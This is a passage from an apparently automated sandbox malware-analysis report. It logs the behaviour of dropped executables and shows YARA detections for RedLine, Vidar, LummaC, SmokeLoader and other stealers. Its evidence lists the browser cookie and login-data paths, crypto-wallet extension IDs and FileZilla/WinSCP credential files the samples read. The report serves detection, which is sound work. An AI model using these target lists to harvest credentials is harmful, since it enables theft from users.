etlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,11_2_004335E7
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,11_2_00437BB3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: EnumSystemLocalesW,11_2_00437E27
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _GetPrimaryLen,EnumSystemLocalesW,11_2_00437E83
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _GetPrimaryLen,EnumSystemLocalesW,11_2_00437F00
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,11_2_0042BF17
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,11_2_00437F83
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,15_2_04A13F87
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,15_2_04A0C8B7
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,15_2_04A149EA
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,15_2_04A1394D
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,15_2_04A20AB6
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeQueries volume information: C:\ VolumeInformation
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeQueries volume information: C:\ VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeQueries volume information: C:\Users\user\AppData\Local\Temp\3EE1.exe VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\3EE1.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Users\user\AppData\Local\Temp\BA7B.exe VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
                          Source: C:\Users\user\AppData\Roaming\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation
                          Source: C:\Users\user\AppData\Roaming\svchost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
                          Source: C:\Users\user\AppData\Roaming\svchost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                          Source: C:\Users\user\AppData\Roaming\svchost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                          Source: C:\Users\user\AppData\Roaming\svchost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                          Source: C:\Users\user\AppData\Roaming\svchost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00416EF0 FreeEnvironmentStringsA,CreateNamedPipeW,FileTimeToLocalFileTime,0_2_00416EF0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_00402F13 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,10_2_00402F13
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,11_2_00419F90
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00417240 WriteConsoleOutputCharacterA,GetTimeZoneInformation,ReadFile,GetVolumeInformationA,0_2_00417240
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,11_2_00419F90
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
                          Source: build2.exe, 00000015.00000002.2624617563.00000000008E6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: mFiles%\Windows Defender\MsMpeng.exe
                          Source: build2.exe, 00000015.00000002.2624617563.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2624617563.00000000007C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

                          Stealing of Sensitive Information

                          barindex
                          Yara detected LummaC Stealer
                          Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                          Yara detected PureLog Stealer
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 36.2.3EE1.exe.4cc0000.4.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 36.2.3EE1.exe.4cc0000.4.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000001E.00000002.3080228144.000000000243C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3140665063.0000000004CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3102300746.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000003.2738899773.0000000004BAF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3102651119.0000000005590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: 3EE1.exe PID: 5248, type: MEMORYSTR
                          Yara detected RedLine Stealer
                          Source: Yara matchFile source: dump.pcap, type: PCAP
                          Source: Yara matchFile source: 30.2.E5F3.exe.2100e67.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.21d0000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000001E.00000002.3076038176.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3077911202.0000000002100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000003.2735023730.00000000021D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: E5F3.exe PID: 3628, type: MEMORYSTR
                          Yara detected SmokeLoader
                          Source: Yara matchFile source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Yara detected Vidar stealer
                          Source: Yara matchFile source: Process Memory Space: build2.exe PID: 2576, type: MEMORYSTR
                          Yara detected zgRAT
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000001E.00000002.3102300746.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3102651119.0000000005590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Found many strings related to Crypto-Wallets (likely being stolen)
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: hieplnfojfccegoloniefimmbfjdgcgp|Electrum
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: mhonjhhcgphdphdjcdoeodfdliikapmj|Jaxx Liberty
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: idkppnahnmmggbmfkjhiakkbkdpnmnon|Exodus
                          Source: E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: EthereumE#
                          Source: E5F3.exe, 0000001E.00000002.3080228144.000000000243C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: set_UseMachineKeyStore
                          Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration
                          Tries to harvest and steal browser information (history, passwords, etc)
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
                          Tries to harvest and steal ftp login credentials
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
                          Source: Yara matchFile source: 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: E5F3.exe PID: 3628, type: MEMORYSTR

                          Remote Access Functionality

                          barindex
                          Yara detected LummaC Stealer
                          Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                          Yara detected PureLog Stealer
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 36.2.3EE1.exe.4cc0000.4.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.243cf16.2.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.4baff08.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30000.4.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.4f30ee8.5.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.2.E5F3.exe.5590000.6.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 36.2.3EE1.exe.4cc0000.4.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000001E.00000002.3080228144.000000000243C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3140665063.0000000004CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3102300746.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000003.2738899773.0000000004BAF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000001E.00000002.3102651119.0000000005590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: 3EE1.exe PID: 5248, type: MEMORYSTR
                          Yara detected RedLine Stealer
                          Source: Yara matchFile source: dump.pcap, type: PCAP
                          Source: Yara matchFile source: 30.2.E5F3.exe.2100e67.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 30.3.E5F3.exe.21d0000.0.raw.unpack, type: UNPACKEDPE
